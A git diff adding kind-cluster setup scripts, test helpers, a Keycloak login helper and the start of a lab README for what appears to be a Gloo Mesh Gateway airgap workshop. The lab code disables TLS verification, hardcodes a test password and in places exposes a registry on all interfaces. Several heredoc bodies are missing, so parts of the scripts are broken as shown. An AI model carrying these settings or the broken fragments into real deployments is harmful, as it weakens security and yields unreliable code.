2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null +./istio-*/bin/istioctl --context cluster1 pc all -n istio-gateways deploy/istio-ingressgateway -o json > /tmp/current-output +json-diff /tmp/previous-output /tmp/current-output diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/scripts/md-to-bash.sh b/gloo-mesh/gateway/2-5/airgap/advanced/scripts/md-to-bash.sh new file mode 100755 index 0000000000..30b6a1f93d --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/scripts/md-to-bash.sh @@ -0,0 +1,3 @@ +#!/usr/bin/env bash +echo "source /root/.env 2>/dev/null || true" +sed -n '/```bash/,/```/p; //p' | egrep -v '```|' | sed '/#IGNORE_ME/d' diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/scripts/register-domain.sh b/gloo-mesh/gateway/2-5/airgap/advanced/scripts/register-domain.sh new file mode 100755 index 0000000000..903bd0b714 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/scripts/register-domain.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash + +# Check if the correct number of arguments is provided +if [ "$#" -ne 2 ]; then + echo "Usage: $0 " + exit 1 +fi + +# Variables +hostname="$1" +new_ip="$2" +hosts_file="/etc/hosts" + +# Check if the entry already exists +if grep -q "$hostname" "$hosts_file"; then + # Update the existing entry with the new IP + tempfile=$(mktemp) + sed "s/^.*$hostname/$new_ip $hostname/" "$hosts_file" > $tempfile + sudo mv "$tempfile" "$hosts_file" + echo "Updated $hostname in $hosts_file with new IP: $new_ip" +else + # Add a new entry if it doesn't exist + echo "$new_ip $hostname" | sudo tee -a "$hosts_file" > /dev/null + echo "Added $hostname to $hosts_file with IP: $new_ip" +fi diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/scripts/snapdiff.sh b/gloo-mesh/gateway/2-5/airgap/advanced/scripts/snapdiff.sh new file mode 100755 index 0000000000..51786826eb --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/scripts/snapdiff.sh @@ -0,0 +1,6 @@ +mv /tmp/current-output /tmp/previous-output 2>/dev/null +pod=$(kubectl --context ${MGMT} -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${MGMT} -n gloo-mesh debug -q -i ${pod} --image=curlimages/curl -- curl -s http://localhost:9091/snapshots/output | jq '.translator | . as $root | ($root | keys[]) as $namespace | ($root[$namespace] | keys[]) as $parent | if $root[$namespace][$parent].Outputs then (($root[$namespace][$parent].Outputs | keys[]) as $object | ($object | split(",")) as $arr | {apiVersion: $arr[0], kind: ($arr[1] |split("=")[1])} + $root[$namespace][$parent].Outputs[$object][]) else empty end' | jq --slurp > /tmp/current-output +array1=$(cat /tmp/previous-output | jq -e '') +array2=$(cat /tmp/current-output | jq -e '') +jq -n --argjson array1 "$array1" --argjson array2 "$array2" '{"array1": $array1,"array2":$array2} | .array2-.array1' | docker run -i --rm mikefarah/yq -P '.' \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/tests/can-resolve.test.js.liquid b/gloo-mesh/gateway/2-5/airgap/advanced/tests/can-resolve.test.js.liquid new file mode 100644 index 0000000000..7d1163da97 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/tests/can-resolve.test.js.liquid @@ -0,0 +1,17 @@ +const dns = require('dns'); +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const { waitOnFailedTest } = require('./tests/utils'); + +afterEach(function(done) { waitOnFailedTest(done, this.currentTest.currentRetry())}); + +describe("Address '" + process.env.{{ to_resolve }} + "' can be resolved in DNS", () => { + it(process.env.{{ to_resolve }} + ' can be resolved', (done) => { + return dns.lookup(process.env.{{ to_resolve }}, (err, address, family) => { + expect(address).to.be.an.ip; + done(); + }); + }); +}); \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/tests/chai-exec.js b/gloo-mesh/gateway/2-5/airgap/advanced/tests/chai-exec.js new file mode 100644 index 0000000000..f454d80bbe --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/tests/chai-exec.js @@ -0,0 +1,110 @@ +const jsYaml = require('js-yaml'); +const deepObjectDiff = require('deep-object-diff'); +const chaiExec = require("@jsdevtools/chai-exec"); +const chai = require("chai"); +const expect = chai.expect; +const should = chai.should(); +chai.use(chaiExec); +const utils = require('./utils'); + +global = { + checkKubernetesObject: async ({ context, namespace, kind, k8sObj, yaml }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + kind + " " + k8sObj + " -o json"; + let cli = chaiExec(command); + let json = jsYaml.load(yaml) + + cli.should.exit.with.code(0); + cli.stderr.should.be.empty; + let data = JSON.parse(cli.stdout); + let diff = deepObjectDiff.detailedDiff(json, data); + let expectedObject = false; + console.log(Object.keys(diff.deleted).length); + if(Object.keys(diff.updated).length === 0 && Object.keys(diff.deleted).length === 0) { + expectedObject = true; + } + expect(expectedObject, "The following object can't be found or is not as expected:\n" + yaml).to.be.true; + }, + checkDeployment: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDeploymentsWithLabels: async ({ context, namespace, labels, instances }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy -l " + labels + " -o jsonpath='{.items}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let deployments = JSON.parse(cli.stdout.slice(1,-1)); + expect(deployments).to.have.lengthOf(instances); + deployments.forEach((deployment) => { + let readyReplicas = deployment.status.readyReplicas || 0; + let replicas = deployment.status.replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + deployment.metadata.name + " in " + context + " not ready..."); + utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }); + }, + checkStatefulSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get sts " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDaemonSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get ds " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).numberReady || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).desiredNumberScheduled; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + k8sObjectIsPresent: ({ context, namespace, k8sType, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + k8sType + " " + k8sObj + " -o name"; + let cli = chaiExec(command); + + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + }, + genericCommand: async ({ command, responseContains="" }) => { + let cli = chaiExec(command); + if (cli.stderr && cli.stderr != "") { + console.log(" ----> " + command + " not succesful..."); + await utils.sleep(1000); + } + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + if(responseContains!=""){ + cli.stdout.should.contain(responseContains); + } + }, + getOutputForCommand: ({ command }) => { + let cli = chaiExec(command); + return cli.stdout; + }, +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/tests/chai-http.js b/gloo-mesh/gateway/2-5/airgap/advanced/tests/chai-http.js new file mode 100644 index 0000000000..d0b8a42277 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/tests/chai-http.js @@ -0,0 +1,63 @@ +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const utils = require('./utils'); + +process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; + +global = { + checkURL: ({ host, path = "", headers = [], retCode }) => { + let request = chai.request(host).head(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + }, + checkBody: ({ host, path = "", headers = [], body = '', match = true }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + if (match) { + expect(res.text).to.contain(body); + } else { + expect(res.text).not.to.contain(body); + } + }); + }, + checkHeaders: ({ host, path = "", headers = [], expectedHeaders = [] }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expectedHeaders.forEach(header => expect(res.header[header.key]).to.equal(header.value)); + }); + }, + checkWithMethod: ({ host, path, headers = [], method = "get", retCode }) => { + let request + if (method === "get") { + request = chai.request(host).get(path).redirects(0); + } else if (method === "post") { + request = chai.request(host).post(path).redirects(0); + } else if (method === "put") { + request = chai.request(host).put(path).redirects(0); + } else { + throw 'The requested method is not implemented.' + } + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + } +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/tests/keycloak-token.js b/gloo-mesh/gateway/2-5/airgap/advanced/tests/keycloak-token.js new file mode 100644 index 0000000000..3ac1a691db --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/tests/keycloak-token.js @@ -0,0 +1,4 @@ +const keycloak = require('./keycloak'); +const { argv } = require('node:process'); + +keycloak.getKeyCloakCookie(argv[2], argv[3]); diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/tests/keycloak.js b/gloo-mesh/gateway/2-5/airgap/advanced/tests/keycloak.js new file mode 100644 index 0000000000..aae79f0fdc --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/tests/keycloak.js @@ -0,0 +1,41 @@ +const puppeteer = require('puppeteer'); +//const utils = require('./utils'); + +global = { + getKeyCloakCookie: async (url, user) => { + const browser = await puppeteer.launch({ + headless: "new", + ignoreHTTPSErrors: true, + args: ['--no-sandbox', '--disable-setuid-sandbox'], // needed for instruqt + }); + const page = await browser.newPage(); + await page.goto(url); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Enter credentials + //await page.waitForSelector('#username'); + //await page.waitForSelector('#password'); + await page.type('#username', user); + await page.type('#password', 'password'); + await page.click('#kc-login'); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Retrieve session cookie + const cookies = await page.cookies(); + const sessionCookie = cookies.find(cookie => cookie.name === 'keycloak-session'); + let ret; + if (sessionCookie) { + ret = `${sessionCookie.name}=${sessionCookie.value}`; // Construct the cookie string + } else { + console.error(` No session cookie found for ${user}`); + ret = "keycloak-session=dummy"; + } + await browser.close(); + console.log(ret); + return ret; + } +}; + +module.exports = global; diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/tests/utils.js b/gloo-mesh/gateway/2-5/airgap/advanced/tests/utils.js new file mode 100644 index 0000000000..9747efaa2c --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/tests/utils.js @@ -0,0 +1,13 @@ +global = { + sleep: ms => new Promise(resolve => setTimeout(resolve, ms)), + waitOnFailedTest: (done, currentRetry) => { + if(currentRetry > 0){ + process.stdout.write("."); + setTimeout(done, 1000); + } else { + done(); + } + } +}; + +module.exports = global; \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/README.md b/gloo-mesh/gateway/2-5/airgap/dedfault/README.md new file mode 100644 index 0000000000..608690ccf6 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/dedfault/README.md @@ -0,0 +1,2615 @@ + + + + + +![Gloo Mesh Enterprise](images/gloo-mesh-enterprise.png) +#
Gloo Mesh Gateway (2.5.0)
+ + + +## Table of Contents +* [Introduction](#introduction) +* [Lab 1 - Deploy a KinD cluster](#lab-1---deploy-a-kind-cluster-) +* [Lab 2 - Prepare airgap environment](#lab-2---prepare-airgap-environment-) +* [Lab 3 - Deploy and register Gloo Mesh](#lab-3---deploy-and-register-gloo-mesh-) +* [Lab 4 - Deploy Istio using Gloo Mesh Lifecycle Manager](#lab-4---deploy-istio-using-gloo-mesh-lifecycle-manager-) +* [Lab 5 - Deploy the Bookinfo demo app](#lab-5---deploy-the-bookinfo-demo-app-) +* [Lab 6 - Deploy the httpbin demo app](#lab-6---deploy-the-httpbin-demo-app-) +* [Lab 7 - Deploy Gloo Mesh Addons](#lab-7---deploy-gloo-mesh-addons-) +* [Lab 8 - Create the gateways workspace](#lab-8---create-the-gateways-workspace-) +* [Lab 9 - Create the bookinfo workspace](#lab-9---create-the-bookinfo-workspace-) +* [Lab 10 - Expose the productpage through a gateway](#lab-10---expose-the-productpage-through-a-gateway-) +* [Lab 11 - Create the httpbin workspace](#lab-11---create-the-httpbin-workspace-) +* [Lab 12 - Expose an external service](#lab-12---expose-an-external-service-) +* [Lab 13 - Deploy Keycloak](#lab-13---deploy-keycloak-) +* [Lab 14 - Securing the access with OAuth](#lab-14---securing-the-access-with-oauth-) +* [Lab 15 - Use the transformation filter to manipulate headers](#lab-15---use-the-transformation-filter-to-manipulate-headers-) +* [Lab 16 - Use the DLP policy to mask sensitive data](#lab-16---use-the-dlp-policy-to-mask-sensitive-data-) +* [Lab 17 - Apply rate limiting to the Gateway](#lab-17---apply-rate-limiting-to-the-gateway-) +* [Lab 18 - Use the Web Application Firewall filter](#lab-18---use-the-web-application-firewall-filter-) + + + +## Introduction + +[Gloo Mesh Enterprise](https://www.solo.io/products/gloo-mesh/) is a management plane which makes it easy to operate [Istio](https://istio.io) on one or many Kubernetes clusters deployed anywhere (any platform, anywhere). + +### Istio support + +The Gloo Mesh Enterprise subscription includes end to end Istio support: + +- Upstream first +- Specialty builds available (FIPS, ARM, etc) +- Long Term Support (LTS) N-4 +- Critical security patches +- Production break-fix +- One hour SLA Severity 1 +- Install / upgrade +- Architecture and operational guidance, best practices + +### Gloo Mesh overview + +Gloo Mesh provides many unique features, including: + +- multi-tenancy based on global workspaces +- zero trust enforcement +- global observability (centralized metrics and access logging) +- 